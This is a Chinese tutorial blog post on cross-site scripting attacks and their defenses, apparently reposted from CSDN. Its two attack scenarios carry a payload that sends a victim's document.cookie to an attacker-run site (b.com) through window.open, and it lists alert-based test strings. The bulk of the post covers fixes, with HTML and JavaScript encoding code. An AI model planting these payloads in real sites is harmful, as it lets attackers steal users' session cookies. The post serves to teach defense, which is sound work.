[XSS攻击及防御](http://blog.csdn.net/ghsau/article/details/17027893)

本文来自：[高爽|Coder](http://blog.csdn.net/ghsau)，原文地址：<http://blog.csdn.net/ghsau/article/details/17027893>，转载请注明。  
       XSS又称CSS，全称Cross SiteScript，跨站脚本攻击，其原理是攻击者向有XSS漏洞的网站中输入(传入)恶意的HTML代码，当其它用户浏览该网站时，这段HTML代码会被浏览器成功的执行，从而达到攻击的目的。如，盗取用户Cookie、破坏页面结构、重定向到其它网站等。

XSS攻击

XSS攻击类似于SQL注入攻击，攻击之前，我们先找到一个存在XSS漏洞的网站，XSS漏洞分为两种，一种是DOM Based XSS漏洞，另一种是Stored XSS漏洞。理论上，**所有可输入的地方**没有对输入数据进行处理的话，都会存在XSS漏洞，漏洞的危害取决于攻击代码的威力，攻击代码也不局限于script。

DOM Based XSS

       DOM Based XSS是一种基于网页DOM结构的攻击，该攻击特点是中招的人是少数人。

**场景一**：

       当我登录a.com后，我发现它的页面某些内容是根据url中的一个叫content参数直接显示的，猜测它测页面处理可能是这样，其它语言类似：

|  |
| --- |
| <%@ page language=*"java"*contentType=*"text/html; charset=UTF-8"*pageEncoding=*"UTF-8"*%>  <!DOCTYPEhtmlPUBLIC"-//W3C//DTD HTML 4.01 Transitional//EN""http://www.w3.org/TR/html4/loose.dtd">  <html>      <head>         <title>XSS测试</title>      </head>      <body>         页面内容：<%=request.getParameter("content")%>      </body>  </html> |

我知道了Tom也注册了该网站，并且知道了他的邮箱(或者其它能接收信息的联系方式)，我做一个超链接发给他，超链接地址为：http://www.a.com?**content=<script>window.open(“www.b.com?param=”+document.cookie)</script>**，当Tom点击这个链接的时候(假设他已经登录a.com)，浏览器就会直接打开b.com，并且把Tom在a.com中的cookie信息发送到b.com，b.com是我搭建的网站，当我的网站接收到该信息时，我就盗取了Tom在a.com的cookie信息，cookie信息中可能存有登录密码，攻击成功！这个过程中，受害者只有Tom自己。那当我在浏览器输入a.com?content=<script>alert(“xss”)</script>，浏览器展示页面内容的过程中，就会执行我的脚本，页面输出xss字样，这是攻击了我自己，那我如何攻击别人并且获利呢？

Stored XSS

       Stored XSS是存储式XSS漏洞，由于其攻击代码已经存储到服务器上或者数据库中，所以受害者是很多人。

**场景二**：

       a.com可以发文章，我登录后在a.com中发布了一篇文章，文章中包含了恶意代码，<script>window.open(“www.b.com?param=”+document.cookie)</script>，保存文章。这时Tom和Jack看到了我发布的文章，当在查看我的文章时就都中招了，他们的cookie信息都发送到了我的服务器上，攻击成功！这个过程中，受害者是多个人。  
       Stored XSS漏洞危害性更大，危害面更广。

**XSS 漏洞修复**

原则：　不相信客户输入的数据  
注意:  攻击代码不一定在<script></script>中

1. 将重要的cookie标记为http only,   这样的话Javascript 中的document.cookie语句就不能获取到cookie了.
2. 只允许用户输入我们期望的数据。 例如：　年龄的textbox中，只允许用户输入数字。 而数字之外的字符都过滤掉。
3. **对数据进行Html Encode 处理**
4. 过滤或移除特殊的Html标签， 例如: <script>, <iframe> ,  &lt; for <, &gt; for >, &quot for
5. 过滤JavaScript 事件的标签。例如 "onclick=", "onfocus" 等等。

       永远不相信用户的输入。需要对用户的输入进行处理，只允许输入合法的值，其它值一概过滤掉。

**Html encode**

       假如某些情况下，我们不能对用户数据进行严格的过滤，那我们也需要对标签进行转换。

比如用户输入：<script>window.location.href=”http://www.baidu.com”;</script>，保存后最终存储的会是：&lt;script&gt;window.location.href=&quot;http://www.baidu.com&quot;&lt;/script&gt;在展现时浏览器会对这些字符转换成文本内容显示，而不是一段可执行的代码。

       下面提供两种Html encode的方法。

* 使用Apache的commons-lang.jar
* StringEscapeUtils.escapeHtml(str);// 汉字会转换成对应的ASCII码，空格不转换
* 自己实现转换，只转换部分字符

|  |
| --- |
| **private static** String htmlEncode(**char** c) {  **switch**(c) {  **case** '&':  **return**"&amp;";  **case** '<':  **return**"&lt;";  **case** '>':  **return**"&gt;";  **case** '"':  **return**"&quot;";  **case** ' ':  **return**"&nbsp;";  **default**:  **return** c + "";      }  }  /\*\* 对传入的字符串str进行Html encode转换 \*/  **public static** String htmlEncode(String str) {  **if**(str ==**null** || str.trim().equals(""))   **return** str;      StringBuilder encodeStrBuilder = **new** StringBuilder();  **for** (**int** i = 0, len = str.length(); i < len; i++) {         encodeStrBuilder.append(*htmlEncode*(str.charAt(i)));      }  **return** encodeStrBuilder.toString();  } |

原则：　不相信客户输入的数据  
注意:  攻击代码不一定在<script></script>中

方法二：调用

var HtmlUtil = {

/\*1.用浏览器内部转换器实现html转码\*/

htmlEncode:function (html){

//1.首先动态创建一个容器标签元素，如DIV

var temp = document.createElement ("div");

//2.然后将要转换的字符串设置为这个元素的innerText(ie支持)或者textContent(火狐，google支持)

(temp.textContent != undefined ) ? (temp.textContent = html) : (temp.innerText = html);

//3.最后返回这个元素的innerHTML，即得到经过HTML编码转换的字符串了

var output = temp.innerHTML;

temp = null;

return output;

},

/\*2.用浏览器内部转换器实现html解码\*/

htmlDecode:function (text){

//1.首先动态创建一个容器标签元素，如DIV

var temp = document.createElement("div");

//2.然后将要转换的字符串设置为这个元素的innerHTML(ie，火狐，google都支持)

temp.innerHTML = text;

//3.最后返回这个元素的innerText(ie支持)或者textContent(火狐，google支持)，即得到经过HTML解码的字符串了。

var output = temp.innerText || temp.textContent;

temp = null;

return output;

}

};

测试：

var url=document.location.href; // 首先要获取输入的浏览器地址

var encodeHtml = HtmlUtil.htmlEncode(url); // 然后进行转码

alert(encodeHtml);

**如何测试XSS漏洞**

方法一：  查看代码，查找关键的变量,   客户端将数据传送给Web 服务端一般通过三种方式 Querystring, Form表单，以及cookie.  例如在ASP的程序中，通过Request对象获取客户端的变量

<%  
strUserCode = Request.QueryString(“code”);  
strUser = Request.Form(“USER”);  
strID = Request.Cookies(“ID”);  
%>

假如变量没有经过htmlEncode处理， 那么这个变量就存在一个XSS漏洞

 方法二：　准备测试脚本，

"/><script>alert(document.cookie)</script><!--  
<script>alert(document.cookie)</script><!--  
"onclick="alert(document.cookie)

 在网页中的Textbox或者其他能输入数据的地方，输入这些测试脚本， 看能不能弹出对话框，能弹出的话说明存在XSS漏洞

 在URL中查看有那些变量通过URL把值传给Web服务器， 把这些变量的值退换成我们的测试的脚本。  然后看我们的脚本是否能执行

方法三:  自动化测试XSS漏洞  
现在已经有很多XSS扫描工具了。 实现XSS自动化测试非常简单，只需要用HttpWebRequest类。 把包含xss 测试脚本。发送给Web服务器。 然后查看HttpWebResponse中，我们的XSS测试脚本是否已经注入进去了。

//使用“\”对特殊字符进行转义，除数字字母之外，小于127使用16进制“\xHH”的方式进行编码，大于用unicode（非常严格模式）。

var JavaScriptEncode = function(str){

var hex=new Array('0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f');

function changeTo16Hex(charCode){

return "\\x" + charCode.charCodeAt(0).toString(16);

}

function encodeCharx(original) {

var found = true;

var thecharchar = original.charAt(0);

var thechar = original.charCodeAt(0);

switch(thecharchar) {

case '\n': return "\\n"; break; //newline

case '\r': return "\\r"; break; //Carriage return

case '\'': return "\\'"; break;

case '"': return "\\\""; break;

case '\&': return "\\&"; break;

case '\\': return "\\\\"; break;

case '\t': return "\\t"; break;

case '\b': return "\\b"; break;

case '\f': return "\\f"; break;

case '/': return "\\x2F"; break;

case '<': return "\\x3C"; break;

case '>': return "\\x3E"; break;

default:

found=false;

break;

}

if(!found){

if(thechar > 47 && thechar < 58){ //数字

return original;

}

if(thechar > 64 && thechar < 91){ //大写字母

return original;

}

if(thechar > 96 && thechar < 123){ //小写字母

return original;

}

if(thechar>127) { //大于127用unicode

var c = thechar;

var a4 = c%16;

c = Math.floor(c/16);

var a3 = c%16;

c = Math.floor(c/16);

var a2 = c%16;

c = Math.floor(c/16);

var a1 = c%16;

return "\\u"+hex[a1]+hex[a2]+hex[a3]+hex[a4]+"";

}

else {

return changeTo16Hex(original);

}

}

}

var preescape = str;

var escaped = "";

var i=0;

for(i=0; i < preescape.length; i++){

escaped = escaped + encodeCharx(preescape.charAt(i));

}

return escaped;

}